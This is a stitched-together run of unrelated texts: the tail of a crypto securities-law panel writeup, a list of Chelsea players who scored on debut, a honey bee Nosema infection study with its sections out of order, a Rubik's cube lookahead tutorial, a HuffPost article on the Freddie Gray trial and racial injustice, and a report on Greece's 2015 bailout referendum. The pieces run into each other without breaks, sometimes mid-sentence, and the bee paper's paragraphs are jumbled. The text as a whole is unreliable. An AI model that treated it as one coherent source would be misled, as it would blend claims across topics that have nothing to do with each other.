Weiler responded, “until someone gets hurt I think it will be about self-regulation and setting standards. Initiatives like, “A Securities Law Framework for Token Sales” put forth by Coinbase (and which Lee Schneider was a leading contributor to) is really about setting standards, so we don’t get a lens placed on us. Bancor spent 117k ETH to keep their liquidity reserves — they still have half of their ETH left, and so they may be OK but if they spend it all or something to the equivalent happens, and millions vanish, that’s bad.”
Schneider also jumped in to answer the question saying, “we try to talk to the SEC on a regular basis. They are very much alive to what’s happening, and in their words, they are in “information gathering mode.” It’s also important to note that even if the SEC says something is a security that may not be the last word. The SEC does not have jurisdiction if it’s not a security. They can try to reach out and grab everything, but there are examples when it’s not — one area is event tickets — we all know there is a huge secondary market for event tickets but that is not a security until Congress changes the law.”
In closing, one final word of advice was passed down to the audience from Lee Schneider who said, “This is a new world, and this is a new area. When we reach out to our global network of counsel to make sure a token project doesn’t have issues in China, the EU, or wherever, what we are finding is things are changing very fast. Maybe not so much in the U.S. but the point is that what you hear right now as far as what the law is may change by the time you do your launch, so it’s important to stay on top of what is going on.”
Written by Hunter GebronEvery fan wants to see their team’s new striker score on his debut. A goal in your first game is a sure fire way of getting the crowd and the media on your side. But, is a goal on your debut really that important, or is it actually the kiss of death? Let’s take a look at some of the debut goal scorers.
DECO
First Goal: vs Portsmouth (17th August 2008)
Games: 58
Goals: 6
Honours: Premier League, Community Shield
The little Portuguese playmaker joined Chelsea from Barcelona in the summer of 2008. He scored in the Premier League vs Portsmouth at Stamford Bridge in a 4-0 win. A Chelsea career hampered by injury and a less than expected impact limited Deco to just 58 appearances and 6 goals.
Florent MALOUDA
First Goal: vs Man Utd (5th August 2007)
Games: 188 (and counting)
Goals: 42 (and counting)
Honours: Premier League, FA Cup (2), Community Shield
The Frenchman joined the blues from Lyon in the summer of 2007. His debut was against Man Utd in the Community Shield and he scored an equalising goal in the 44th minute. Chelsea eventually went on and lost on penalties. Since joining CFC, Malouda has won the Chelsea Players Player of the Year as well as appearing in a Champions League final and captaining his national side.
Andriy SHEVCHENKO
First Goal: vs Liverpool (13th August 2006)
Games: 77
Goals: 22
Honours: League Cup
Perhaps the most talked about Chelsea transfer of all time. It is widely believed that the Ukrainian hitman was signed from AC Milan by Roman Abramovich himself, and was the main reason why Jose Mourinho is no longer with the blues. On 13th August 2006 Shevchenko opened his Chelsea goal scoring account in the Community Shield defeat to Liverpool. A lack of confidence and managers’ belief along with niggling injuries stopped Sheva from being the player we all wanted him to be. The £30m man played 77 games and scored 22 goals, including a belter against Spurs in the FA Cup. He did play in the League Cup final win vs Arsenal in 2007.
Adrian MUTU
First Goal: vs Leicester (23rd August 2003)
Games: 38
Goals: 10
Honours: None
Mutu scored on his debut vs Leicester City. However, the Romanian is probably best known as someone who has constantly owed Chelsea £16m in compensation after failing a drugs test. The striker is reported to have taken cocaine and was sacked by the club and banned from football for 7 months. In his short Chelsea career he played 38 games and scored 10 goals.
Boudewijn ZENDEN
First Goal: vs Newcastle (15th August 2001)
Games: 59
Goals: 4
Honours: None
After his £7.5m move from Barcelona, the Dutch winger didn’t really have the greatest of times at Chelsea. His lack of form and persistent injuries restricted his chances. Zenden did play in the FA Cup final vs Arsenal in 2002, coming on as a substitute for Mario Melchiot in the 76th minute.
Jimmy Floyd HASSELBAINK
First Goal: vs Man Utd (13th August 2000)
Games: 177
Goals: 87
Honours: Community Shield
“Oh Jimmy Jimmy, Jimmy Jimmy Jimmy Floyd Hasselbaink!”. One of my favourite Chelsea strikers of all time. He had two main attributes: his powerful shot and his massive grin. The Dutch hitman was a cult hero at Stamford Bridge due to his goal scoring exploits. My two main memories of Hasselbaink are his ‘perfect’ hattrick vs Spurs (left foot, right foot, header), and his goal against Chelsea for Charlton where he refused to celebrate in front of his loyal blues fans.
George WEAH
First Goal: vs Spurs (12th January 2000)
Games: 15
Goals: 5
Honours: FA Cup
Perhaps my favourite ever debut goal due to the opponents and the story behind the goal. Chelsea signed the former World Player of the Year on loan from AC Milan. He arrived in London on the day of the home game vs Spurs. Later that day the Liberian came on as a 56th Minute substitute for Tore Andre Flo. With the game looking like it would end up 0-0, the striker popped up with a header in the 87th minute, leaving Ian Walker to pick the ball out of the back of the net. Weah only played for half a season, but managed to pick up an FA Cup winners medal later that year after Chelsea beat Aston Villa at Wembley, courtesy of a Roberto Di Matteo goal.
Tore Andre FLO
First Goal: vs Coventry City (9th August 1997)
Games: 163
Goals: 50
Honours: FA Cup, League Cup, UEFA Cup Winners Cup, UEFA Super Cup
The 6 foot 4 Norwegian striker was probably better with his feet than with his head. He had many great games in a Chelsea shirt. It would be hard to pick his best performance; was it his hattrick vs Spurs at White Hart Lane or his brace against Barcelona at Stamford Bridge in the Champions League? He is still one of our highest received transfer fees after his move to Rangers for £12m.
Paul HUGHES
First Goal: vs Derby (18th January 1997)
Games: 23
Goals: 2
Honours: None
Perhaps an unknown to some Chelsea fans, the midfielder didn’t really break into the first team. His debut goal was a surreal moment. A half time substitute for Dennis Wise, the relatively unknown youngster picked up the ball, played a couple of one two’s before scoring. Immediately the crowd started cheering ‘Hughesie, Hughesie, Hughesie’, mainly because that was the chant for Chelsea’s other Hughes, ‘Sparky’. After various loan spells, Hughes eventually signed for Southampton and teamed up with former Chelsea manager Glenn Hoddle.
Paul FURLONG
First Goal: vs Norwich City (20th August 1994)
Games: 85
Goals: 17
Honours: None
Furlong became Chelsea’s record signing in 1994 after Glenn Hoddle splashed out £2.3m on the Watford striker. The tall striker never really lived up to his price tag, but did have some success in the UEFA Cup Winners Cup run. He formed a partnership with Mark Stein. After just two years he left Chelsea and signed for Birmingham City as he found his position under threat by the signings of Mark Hughes and Gianluca Vialli.
Mick HARFORD
First Goal: vs Oldham Athletic (15th August 1992)
Games: 34
Goals: 11
Honours: None
Harford is probably best known to Chelsea fans as the player who scored their first ever goal in the Premier League. Signed from Luton Town for £300,000, he was at the club for less than a season after he was sold to his hometown club of Sunderland for £250,000, despite the fact he was the blues leading goal scorer.
Eddie NEWTON
First Goal: vs Everton (2nd May 1992)
Games: 214
Goals: 10
Honours: FA Cup, League Cup, UEFA Cup Winners Cup
Eddie came through the Chelsea youth ranks with his good friend Frank Sinclair. The midfielder is one of the few people who have scored an FA Cup final goal for Chelsea, which he did vs Middlesbrough in 1997, assisted by a flick from Gianfranco Zola. Newton’s Chelsea career was cut short by serious injuries, but did try to continue at Birmingham City. He has coached at Chelsea and was also Roberto Di Matteo’s assistant at West Brom last season.
Tony CASCARINO
First Goal: vs Crystal Palace (8th February 1992)
Games: 45
Goals: 8
Honours: None
The tall Irishman was signed from Celtic in 1992. He spent a season and a half at Chelsea and picked up an FA Cup runners up medal. After leaving Chelsea for Marseille in 1994, Cas went on to become a radio pundit and a semi-pro poker player.
Joe ALLON
First Goal: vs Wimbledon (17th August 1991)
Games: 18
Goals: 3
Honours: None
Joe signed for Chelsea from Hartlepool United in 1991 for a fee of around £250,000. The striker only managed to play a small number of games, and was even sent on loan to Port Vale before being sold to Brentford in 1992.
Paul ELLIOTT
First Goal: vs Wimbledon (17th August 1991)
Games: 54
Goals: 3
Honours: CFC Player of the Year 1992
The TV pundit was once one of the most promising signings Chelsea ever made, moving from Celtic in 1991. His career was ended in 1992 by a tackle from Liverpool forward Dean Saunders. He later filed a lawsuit against Saunders, although he lost his case after it was decided the Welshman was not at fault. However, in 2003 he was awarded an MBE for his work with young players and anti-racism initiatives.
Kerry DIXON
First Goal: vs Derby County (27th August 1983)
Games: 420
Goals: 193
Honours: Full Members Cup
Chelsea’s 2nd highest ever goal scorer (although Lampard is catching him up quickly). The striker was a gamble signing from Reading for £150,000 (plus £25,000 if he ever played for England). The gamble was to pay off as he scored 2 goals on his debut vs Derby, the last Chelsea player to record such a feat. The England striker was instrumental in Chelsea’s promotion to the 1st Division as 2nd Division champions. He formed a great partnership with short Scottish striker David Speedie. He is also one of the last players to have had a Chelsea testimonial, beating a Spurs XI 5-1 at Stamford Bridge. Dixon would later play against Chelsea at Wembley in an FA Cup semi final for Luton Town. Kerry can often be found on Chelsea TV on a Friday night in the fans live phone-in show.
David SPEEDIE
First Goal: vs Oldham Athletic (18th September 1982)
Games: 205
Goals: 63
Honours: Full Members Cup, Chelsea Player of the Year 1985
The tiny Scottish Forward signed for Chelsea from Darlington for £80,000. Speedie actually scored 2 goals on his debut. He formed a great partnership with Kerry Dixon, aided by Pat Nevin on the wing. Speedie’s greatest achievement was probably scoring a hattrick in the 1986 Full Members Cup final win at Wembley vs Manchester City.
Peter OSGOOD
First Goal: vs Workington Town (16th December 1964)
Games: 380
Goals: 150
Honours: FA Cup, UEFA Cup Winners Cup, Chelsea Player of the Year 1973
The King of Stamford Bridge, or Ossie as he is known to some fans, Peter Osgood is one of Chelsea’s greatest ever players as voted for by the fans. In fact, he came second, only beaten by Gianfranco Zola. He is the only player to have a statue of himself at Stamford Bridge. Also, his death saddened football fans in SW6 and beyond. The Legend had his funeral at the home of the blues and laid to rest under the penalty spot at The Shed End. He is also the last player to score in every round of the FA Cup when Chelsea beat Leeds in the competition in 1970. Osgood scored twice on his Chelsea debut vs Workington Town.
Bobby TAMBLING
First Goal: vs West Ham (7th February 1959)
Games: 370
Goals: 202
Honours: League Cup, Chelsea’s all time top goal scorer
Chelsea’s all-time leading goal scorer. He was made Chelsea captain in 1962 and helped the blues win promotion back to the 1st Division, becoming the youngest ever captain to lead a side to promotion. The Striker spent over 10 years at Chelsea and is one of the only players to have scored 5 goals in one game for Chelsea. Bobby won the League Cup in 1964/65 and scored in the Final vs Leicester.
Jimmy GREAVES
First Goal: vs Spurs (24th August 1957)
Games: 169
Goals: 132
Honours: None
Chelsea’s most prolific goal scorer of all time, the England striker made his debut at the age of 17. After spending 4 seasons at Stamford Bridge he left to join AC Milan, although against his wishes as Chelsea wanted the transfer fee he commanded. Greaves holds two goal scoring records for Chelsea: Most goals in one season (41 goals) and most hattricks (13).
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AdvertisementsNosema ceranae causes a widespread disease that reduces honey bee health but is only thought to infect adult honey bees, not larvae, a critical life stage. We reared honey bee (Apis mellifera) larvae in vitro and provide the first demonstration that N. ceranae can infect larvae and decrease subsequent adult longevity. We exposed three-day-old larvae to a single dose of 40,000 (40K), 10,000 (10K), zero (control), or 40K autoclaved (control) N. ceranae spores in larval food. Spores developed intracellularly in midgut cells at the pre-pupal stage (8 days after egg hatching) of 41% of bees exposed as larvae. We counted the number of N. ceranae spores in dissected bee midguts of pre-pupae and, in a separate group, upon adult death. Pre-pupae exposed to the 10K or 40K spore treatments as larvae had significantly elevated spore counts as compared to controls. Adults exposed as larvae had significantly elevated spore counts as compared to controls. Larval spore exposure decreased longevity: a 40K treatment decreased the age by which 75% of adult bees died by 28%. Unexpectedly, the low dose (10K) led to significantly greater infection (1.3 fold more spores and 1.5 fold more infected bees) than the high dose (40K) upon adult death. Differential immune activation may be involved if the higher dose triggered a stronger larval immune response that resulted in fewer adult spores but imposed a cost, reducing lifespan. The impact of N. ceranae on honey bee larval development and the larvae of naturally infected colonies therefore deserve further study.
Funding: This research was made possible by funding from the University of California San Diego Academic Senate ( https://senate.ucsd.edu/ ), National Honey Board ( http://www.honey.com/honey-industry/honey-and-bee-research/honey-bee-research/c/2012-research-projects ), and the North American Pollinator Protection Campaign ( http://www.pollinator.org/honeybee_health.htm ). The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.
We therefore tested the larval infection hypothesis by directly infecting A. mellifera larvae with N. ceranae. We used a single dose of N. ceranae spores given only once to larvae in their brood food. To exclude the possibility of hygienic bees removing infected larvae, we used in vitro rearing. We hypothesized that the midgut cells of pre-pupae infected as larvae would show proliferating spores and therefore used histology [ 42 ] to check for intracellular spore development. A separate set of treated bees were reared to adulthood and maintained in cages to measure their longevity and to eliminate the possibility of infected adult self-removal. We hypothesized that larvae receiving the N. ceranae treatment would become infected, that pre-pupae and adult stages would contain N. ceranae spores in their midguts, and that this infection would decrease adult longevity. Finally, larvae were fed autoclaved spores as a control to test the possibility that spores counted in pre-pupae and adults were residual spores from the treatment, not the result of infection.
The evidence that N. ceranae cannot infect A. mellifera larvae is largely indirect. Newly emerged adults from Nosema-infected colonies are reportedly uninfected, as measured through gut spore counts [ 37 ]. However, in these newly emerged bees, Nosema may still be in the intracellular life stage (actively reproducing vegetative state) that later produces the mature spores seen in older bees. Nurse bees may also behave hygienically, removing brood that is heavily infected, as they do in colonies infected with Paenibacillus larvae [ 38 ] or with the fungal pathogen, Ascophaera apis [ 39 ]. Finally, sick bees that emerge may remove themselves from the colony. Rueppell et al. [ 40 ] demonstrated this phenomenon in young adult bees sickened with drug or CO 2 treatments. Goblirsch et al. [ 41 ] found that workers infected with N. ceranae were twice as likely to engage in early foraging, causing them to spend more time outside of the colony. It is also possible that honey bee larvae are relatively more resistant to N. ceranae infection than adults. However, given the evidence for larval infection in the closely related bumble bees and other taxa, it is reasonable to ask if N. ceranae can infect honey bee larvae.
Transmission of N. ceranae is poorly understood. Spores are exclusively produced in midgut tissues [ 33 ]. However, spores have been detected in corbicular pollen [ 34 ]. Recently, Traver and Fell [ 31 ] detected N. ceranae DNA in royal jelly from hives naturally infected with N. ceranae. Thus, larval food could provide a natural infection route. However, even if N. ceranae is not directly transmitted through brood food, nurse bees feed larvae orally [ 35 ] and oral transmission can occur between adults [ 36 ]. Such oral transmission may arise from fecal spores traveling to the mouthparts of the food recipient, but it nonetheless demonstrates that a bee obtaining food from an infected bee can also be infected by N. ceranae.
Nosema ceranae is believed to infect only adult honey bees, although Nosema species can infect larvae of other insect species, including a close relative of honey bees, bumble bees [ 27 ] (tested by inoculating larvae with spores [ 28 ]). Larval Lepidoptera [ 29 ] and Coleoptera [ 30 ] can also be infected by different Nosema species. Surprisingly, no published studies, to date, have directly tested if N. ceranae can infect honey bee larvae, although there is some evidence for larval infection |
. These are certainly not comprehensive, and some people may disagree with them, but I think they can serve as a nice guideline.
The three stages in my framework are “Spotting”, “Tracking”, and “Knowing”. I’m also interested to hear if anyone has better name suggestions, but I think these will do for the moment. Broadly speaking, I think they are equivalent to beginner, intermediate, and advanced levels of lookahead ability. In the following examples, I will describe these three levels in the context of F2L pairing.
Spotting: You see F2L pair #1, and watch the pieces as you solve it into its slot. After doing this, you look around the cube to “spot” F2L pair #2.
Tracking: You see F2L pair #1, and as you solve the pieces into their correct slot, you look for, and then “track” the pieces of F2L pair #2, so that you can then solve them immediately after you have solved F2L pair #1.
Knowing: You see F2L pair #1 and #2. In your mind, you already “know” the moves you will use to solve F2L pair #1, and exactly how they will affect F2L pair #2, so that you can solve pair #2 immediately afterwards.
So to summarise, “Spotting” is a beginner level of lookahead where the solver is only focused on the pieces that they are currently solving. “Tracking” is the intermediate level where the solver is focused on solving the current pieces whilst looking at upcoming pieces. “Knowing” is the level at which the solver can visualise/predict where future unsolved pieces will end up on the cube before performing the moves to solve current pieces.
There are, of course, gradual stages of improvement in between these three main levels of lookahead ability. An example of a level in between “spotting” and “tracking” in the context of F2L pairs would be when a solver is only able to track one F2L piece from pair #2 (an edge or corner) whilst solving F2L pair #1. An example of a level between “tracking” and “knowing” would be when a solver is able to predict the end location of the pieces of F2L pair #2 only once F2L pair #1 has been reduced to a 3 move insertion case. To keep this framework simple, I have focused on what I see as the three main levels.
It’s all well and good to have a nice neat framework for the stages of progression, but that doesn’t tell you much about how to actually progress. Below, I’ve outlined a bunch of tips and thoughts around improving your lookahead at these different levels. Attempting to teach lookahead is particularly difficult, because it’s not just a “method” that you can show someone, and in my opinion, a big part of lookahead improvement comes naturally from lots of solving and practice. Just as a reminder, most of these tips are mainly applicable to the cross and F2L stages of the CFOP method, but can certainly be adapted in some fashion to working on lookahead in different stages/methods/cubes.
Improving from "Spotting" to "Tracking"
By far, the most important thing for progressing from just “spotting” pieces to “tracking” pieces is confidence in your solving techniques and algorithms. Again, it’s easiest for me to talk about this in the context of F2L. When you start out learning F2L, a lot of mental effort and thought goes into solving each F2L pair. However, after a certain period of time and practice, your solutions for each F2L pair will become standardised, so that once you see the F2L edge and corner, you know what moves you will do to solve them before executing any moves at all.
Once you’re at the stage where you can confidently solve individual F2L pairs into their slots without looking at the cube, then you can start to work on your ability to track pieces. The simplest and most fundamental drill to practice this is the following:
Solve your cross Look for your first F2L pair Determine the moves you will use to solve that F2L pair into its slot. I would advise against memorising the notation to do this, but rather, just thinking about it in terms of the required fingertricks and hand movements, or like “Pair up the corner and edge by hiding the corner over here, bring the connected pair around to the front, and insert it into the front-right slot”. Before executing any moves, look for another, different F2L pair. Execute the solution for your first F2L pair. Whilst executing the solution, focus on looking at (“tracking”) the pieces of the second F2L pair. Follow those two pieces around the cube with your eyes until you have solved the first pair into its slot. Repeat the same process for the remaining F2L pairs on the cube, starting from step 3. Step 2 is not required for the following pairs, because you have already tracked your next pair in step 5.
In doing this drill (many many times!) you will train yourself to avoid looking at the current pieces being solved, and literally “look ahead” to the following pieces, so that this habit begins to make its way into your timed solves. This drill also reinforces your ability to solve F2L pairs blindfolded.
Before doing this drill, it’s also probably a good idea to just practice solving individual F2L pairs blindfolded. Looking ahead to the next F2L pair isn’t really possible unless you’re very confident in your ability to solve individual F2L pairs. If you’re not at that stage just yet, don’t worry, particularly if you’re new to F2L. After you learn the techniques for solving F2L pairs, it does take a little bit of time to make them subconscious in your solves. Additionally, I also recommend taking a look at the tutorial pdf in the F2L module on the website to help standardise your F2L pair solutions - but only after you learn intuitive F2L.
The drill described above should be practiced in isolation - obviously when you’re doing full timed solves, it’s rather impractical. In your timed practice sessions, your goal should be to try and track pieces, but not to the point where it’s detrimental to your solves. So, if that means you can only track one piece (an edge or corner) of the next pair whilst you’re solving the current F2L pair, then that’s fine, and a great start in your progression towards the “Tracking” stage of lookahead.
A couple of other random thoughts to help out with tracking - it can be helpful to slow down your turning at the end of an F2L pair (say, the last three moves) to allow yourself to look elsewhere without pieces rapidly flying everywhere around the top layer and slots. This should help you eliminate your pauses. RiDo has a paragraph in his blog where he talks about the end of each pair solution being a “braking point” in his cool race car metaphor for F2L. Check it out here. (Start from the “Getting a quick lap time” heading if you don’t want to read the entire thing… but you should also read the entire thing :p)
Maintaining a calm turning style with relatively quiet hands and keeping the cube quite still in the air will also help - it means your eyes and brain won’t have to work as hard as compared to if your cube is shaking and moving all around the space in front of you.
Another common drill is to make use of a metronome for F2L practice. That is, set a metronome at a particular speed, and do one turn of your solve on each beat. An appropriate metronome speed is one which really challenges your lookahead ability, but where you don’t make too many mistakes or miss many beats. The most challenging part about this drill is the transition between cross and the first F2L pair, and the transitions between F2L pairs - you will be forced to lookahead so as to not miss any beats of the metronome.
This last tip is more of a mindset thing, but instead of treating F2L as 4 distinct pairs that you need to solve, it needs to be viewed as a constant flow from the cross to OLL. Very often I see quite ‘choppy’ F2L styles, where the solver turns really quickly to solve a pair, pauses, and then does the same thing 3 more times for their F2L. For advanced cubers, choppy F2Ls often give the slowest results, I’d much prefer to have a smooth, rotationless F2L, with some cancellations between F2L pairs, than a really fast-turning F2L. The old adage of “go slow and look ahead” is the most fundamental way of describing this.
Improving from "Tracking" to "Knowing"
So, once you’re at what I have termed the intermediate stage of lookahead ability, the “tracking stage”, how do you effectively progress to the “knowing” stage, whereby you can predict the future state of certain pieces? I believe this largely comes with time and experience, but here are some of my thoughts and some exercises that may help along the way.
In order to predict what will happen to pieces before you execute an algorithm or even just a few moves, you really need to be able to visualise a cube in your mind. This sort of thing can certainly be trained, but it requires a great deal of familiarity with the cube and the way pieces move around. As an exercise, just take a solved cube and do the moves R U R’. Undo them to solve the cube, and then repeat the R U R’. However, this time, before doing those three moves, close your eyes and visualise what happens to the corner and the edge in the front-right F2L slot. For many of you, this will be quite easy - you’ll be able to imagine the pair coming into the top layer and the pieces ending up in the UFL and UF positions.
That’s a very basic level of “knowing”. You know that these three moves will move the pair from the front-right slot into the top layer. The expert level is being able to correctly predict where the pieces of a disconnected F2L pair will end up after doing more than 7 moves at high speed. That’s a bit more difficult. I can’t speak for other fast solvers on this, but in my solves, I feel like I use a combination of “knowing” and “tracking”. Before I solve an F2L pair, depending on the difficulty of the pair and depending on the location of the corner and edge of the next pair, I’ll have a certain degree of confidence regarding where the pieces of my next pair will end up. Subconsciously, if it’s an easy case to “know” and I’m very confident about my prediction, then I won’t bother too much about “tracking” the pieces, and start to look elsewhere for the pair after that. However, if it’s quite a long solution for the first pair, and it will heavily influence the pieces of the following pair, then it’s quite difficult for me to “know” where the subsequent pair’s pieces will end up, and so I have to focus on actually tracking them during the execution of my first pair.
I should also note that this is all just a description of what I think happens subconsciously in the minds of experienced cubers - by no means do I suggest actually trying to think about this in speedsolves, I’d only suggest doing it as a drill, if anything.
If the first visualisation drill was too easy, it’s time to increase the difficulty. Choose any 7 or 8 move trigger, algorithm, whatever you like, and choose any single corner or edge piece. In this example, I’ll use the F2L pair solution R U’ R’ U R U’ R’. The sorts of questions you should now ask yourself are - where will the UBR corner end up after these moves? Where will the UF edge end up? Spend some time thinking about those moves and trying to work out in your mind where certain pieces will move - don’t worry about figuring out the orientation just yet, just try and follow the permutation (location) of the piece. Don't actually make any physical turns on the cube.
With those seven moves above, the UBR corner moves to the ULB position, and the UF edge moves to the UB position. Because the algorithm is 2 gen, the edge (and all other edges) will remain in the same orientation.
One fantastic drill to practice your ability to visualise pieces moving around is the two look F2L drill. Scramble your cube, solve the cross, and then take as long as you need to plan the first two pairs. Execute the solution for those pairs blindfolded, and then take another look at the cube and do the same thing for the last two pairs. Alternatively, instead of planning out the whole solution for both F2L pairs, you can just memorise the solution for the first one, take a quick glance at another pair, and close your eyes. Execute the solution for the first F2L pair slowly enough to allow yourself to track the pieces of the next pair around the cube. Keep your eyes closed, and solve the second pair into its slot, based on the case you had visualised/predicted on the cube whilst solving the first pair.
Let’s go back to that R U’ R’ U R U’ R’ example. Perhaps it’s the first F2L pair that you’re solving. As is the case with many F2L pair solutions, doing those moves does not affect the pieces in any of the other F2L slots. For example, if you have the back-right edge solved, or the corner piece in the front-left slot, you will only need to try and predict one piece, and you don’t need to worry about the one already in its slot. This is because pieces in other F2L slots aren't affected by the moves R U' R' U R U' R'. Practicing and being able to “know” just one piece is very beneficial in cases like this, and will greatly help your lookahead and reduce pauses.
A common misconception is that lookahead is only really useful in the F2L stage in the CFOP method. It’s very easy to get to the final pair and relax, because all you need to do after solving it is recognise an OLL case. However, one thing that I do, and strongly recommend practicing, is trying to predict the OLL case that you’ll get, whilst doing your last pair. The easy mode of this challenge is to just try and predict the edge orientation. That is, solve the cube and three pairs, look at the cube, and then try and solve your last pair as well as an edge orientation algorithm. The more difficult mode is finishing three pairs and attempting to solve your last pair and OLL in one look.
That’s all from me for now - I hope this framework and the associated tips and thoughts can be useful for you. If you’re at all confused or need a reminder of the stages of lookahead, I recommend going back towards the start of the post and reading over the three examples which come after the introduction.Alex Wong via Getty Images An activist holds a poster outside Baltimore City Circuit Courthouse East during the trial of police officer William Porter in Baltimore, Maryland. Black residents of Baltimore were unsurprised that Porter wasn't convicted on the most serious charges.
BALTIMORE -- Aaron Sims knew a manslaughter conviction in the death of 25-year-old Freddie Gray was a long shot.
“There's no justice,” the West Baltimore resident told The Huffington Post.
Sims believed Baltimore Police Officer William Porter, the first of six to be tried in Gray’s death, would likely be convicted of misconduct in office. But he figured Porter’s attorneys would maintain that the officer was simply doing his job and that the more severe charges -- involuntary manslaughter, second-degree assault and reckless endangerment -- wouldn’t hold up.
Sims was right. After deliberating for three days, a jury informed Judge Barry G. Williams that its members couldn’t reach a unanimous verdict on any of the four charges against Porter -- including the most serious charge of manslaughter. Williams declared a mistrial.
Jurors split 11 to 1 in favor of acquittal on the most serious charge of involuntary manslaughter, according to The Baltimore Sun. The jury split 8 to 2 in favor of acquittal on second-degree assault, 7 to 3 in favor of conviction on reckless endangerment and 10 to 1 in favor of conviction on misconduct in office.
Cynicism like Sims’ is common. Forty-seven percent of African-Americans said they believed the officers would be punished too leniently, according to HuffPost/YouGov poll conducted in December while the trial was ongoing.
And 70 percent of black Americans believe the judicial system is unfair, based on data from a 2013 Pew Research Center survey.
Why do black people expect so little from the justice system? Experience.
Photo 12 via Getty Images Almost 3,960 African-Americans were lynched from 1877 to 1950 in U.S. This photo is from 1882.
One thing to think about is whether the judicial system has ever applied to black people.
“When you have the condition of lynching -- which is a public spectacle of violence, the castration of black men and then their murder, burning and hanging in front of an audience -- that really takes out the notion that there is a justice system for African-Americans,” Robert Chase, a history professor at Stony Brook University, told HuffPost.
“That history reaches even into the 20th century with perhaps the … most famous killing that initiated the civil rights movement -- Emmett Till,” he continued.
On Aug. 28, 1955, Roy Bryant and J.W. Milam kidnapped 14-year-old Till from his uncle’s home in Money, Mississippi, around 2:30 in the morning. They viciously beat the black teenager, shot him in the head, and tied him to a large metal fan using barbed wire before dumping his body in the Tallahatchie River.
Less than a month later, an all-white, all-male jury deliberated for 67 minutes before declaring Bryant and Milam’s innocence. Reporters claimed to have heard laughing from inside the jury room, and one juror reportedly said, “We wouldn’t have taken so long if we hadn’t stopped to drink pop.”
Protected by double jeopardy, which prevents a person from being prosecuted twice for the same offense, Bryant and Milam later admitted to murdering Till in an interview with Look magazine.
“There seems to be no justice -- neither in the courtroom or out,” Chase said.
ASSOCIATED PRESS Black freedom fighter Gloria Richardson moves a National Guardsman's bayonet aside as she tries to disperse a civil rights protest in 1963.
Maryland, in particular, has a long history of clashes between black residents and white authorities.
In 1962, Gloria Richardson, a black freedom fighter, and others founded the Cambridge Nonviolent Action Committee in hopes of desegregating the city’s public spaces -- mainly public housing and hospitals. Tensions rose between Cambridge, Maryland’s black and white residents due to increased calls for equal rights, and in June 1963, riots broke out in the city. Soon, Maryland’s governor declared martial law and brought in the National Guard. The city’s uprising led Robert Kennedy, then the U.S. Attorney General, to broker a peace deal desegregating the city.
Five years later, Baltimore residents rioted following the assassination of Martin Luther King Jr. -- and the police response was similar to the response to protests following Gray’s death.
Police manhandled and arrested rowdy protesters and those who broke curfew, mothers kept their children home out of fear they would be shot by National Guardsmen, and the damage centered on the poor, predominantly black neighborhoods.
Hundreds of people were arrested -- and most were hit with looting and curfew violation charges. No officers, however, appeared before the court for abusing residents.
“This is not a new story, but an old story in American history,” Chase said.
Anadolu Agency via Getty Images A group of curfew violators attend a demonstration over the death of Freddie Gray in April.
Even today, cops who assault or kill black people tend to get away with it. At least 75 of the 1,138 people killed by police in 2015 were black and unarmed, but no officers were convicted for fatal on-duty shootings of any civilian of any race, and just 15 were indicted.
Since 2005, only 13 officers have been convicted of murder or manslaughter in fatal on-duty shootings, according to data provided to The Huffington Post by Philip Stinson, an associate professor of criminology at Bowling Green State University. His data doesn’t consider cases where civilians died in police custody or were killed by other means, or those in which officers only faced lesser charges.In a dramatic move that will put Europe on tenterhooks, the Greek prime minister Alexis Tsipras told his fellow citizens last night he would call a referendum on the bailout accord that international creditors have proposed to keep the debt-stricken country afloat.
Following an emergency meeting of his cabinet, Tsipras said his leftist-led government had decided a package of austerity measures proposed by the country’s creditors – made in a last-ditch effort to avert default – would be put to popular vote. The referendum will take place on Sunday 5 July.
Martin Rowson on the Greek crisis negotiations – cartoon Read more
“After five months of hard negotiations our partners, unfortunately, ended up making a proposal that was an ultimatum towards Greek democracy and the Greek people,” he said in a national address, “an ultimatum at odds with the founding principles and values of Europe, the values of our common European construction.”
The leader, who only hours earlier had rejected the proposed reforms after several days of high-stakes talks in Brussels, said Greeks now faced a “historic responsibility” to respond to the ultimatum.
He said the reforms were “blackmail for the acceptance on our part of severe and humiliating austerity without end and without the prospect of ever prospering socially and economically”.
Describing the vote as a “historic decision”, Tsipras said he had informed the leaders of France, Germany and Mario Draghi, the head of the European Central Bank about the decision. “I asked them to extend our current bailout by a few days so this democratic process could take place,” he said.
Greeks would be asked whether they wanted to accept or reject excoriating tax hikes and pension cuts that the EU, ECB and International Monetary Fund have set as a condition to release desperately needed bailout funds. Greece’s current rescue programme, already extended once, expires on 30 June.
Christine Lagarde, IMF chief with a key role in the Greek debt talks - profile Read more
Panic-stricken depositors, worried that capital controls may only be hours away, rushed to ATMs to withdraw savings. Queues quickly formed outside banks around the capital.
Prompted by the response, the government spokesman, Gavriel Sakellarides, insisted the plebiscite would not endanger Greece’s place in Europe. “The question is not whether we will remain in the eurozone. The Greek people should not be afraid,” he said in the early hours.
But Tsipras, whose radical-left Syriza party was catapulted into power five months ago on a platform of eradicating austerity, did not hide his own feelings for the accord.
Greeks, he said, were being subjected to “humiliation and blackmail”. “These proposals, which clearly violate the European rules and the basic rights to work, equality and dignity, show the purpose of some of the partners and institutions was not a viable agreement for all parties, but possibly the humiliation of an entire people,” he said.
“But I personally pledge that I will respect the result of your democratic choice, whatever that may be.” The Greek parliament, in an emergency step, would convene on Saturday so that the referendum could be called in line with the constitution. Several ministers emerging from the cabinet session said they would not support the “barbaric measures” being demanded of Athens by foreign lenders.
The energy minister, Panagiotis Lafazanis, who heads Syriza’s militant wing known as the Left Platform, said he would support a no vote against measures that had resulted in the widespread “misery and pillaging” of the country since its debt crisis exploded five years ago.
The recipient of €240bn in bailout funds – the biggest rescue programme in global financial history – Greece has seen its economy contract by more than a quarter, unemployment soar and poverty levels rise precipitously under the weight of draconian budget cuts and tax increased demanded by creditors.
“It is a democratic decision and the Greek people are being called to give a democratic answer. And that answer is going to be a resounding no,” Lafazanis told Kontra TV.
“If the Greek people say a big no, it is going to be impossible for those who wield power not to take note unless democracy no longer exists.”
Echoing that sentiment, the Greek finance minister, Yanis Varoufakis, tweeted: “Democracy deserved a boost in euro-related matters. We just delivered it. Let the people decide. (Funny how radical this concept sounds!).”
Greeks mistrust EU, EC, ECB – but retain some faith in the euro Read more
Konstantinos Chrysogonos, a Syriza MEP, told BBC 2’s Newsnight: “It’s obvious that the deal creditors are proposing to the Greek government is beyond the popular mandate this government has.”
He added: “There was probably no other way but to submit the demands of the creditors to a referendum.”
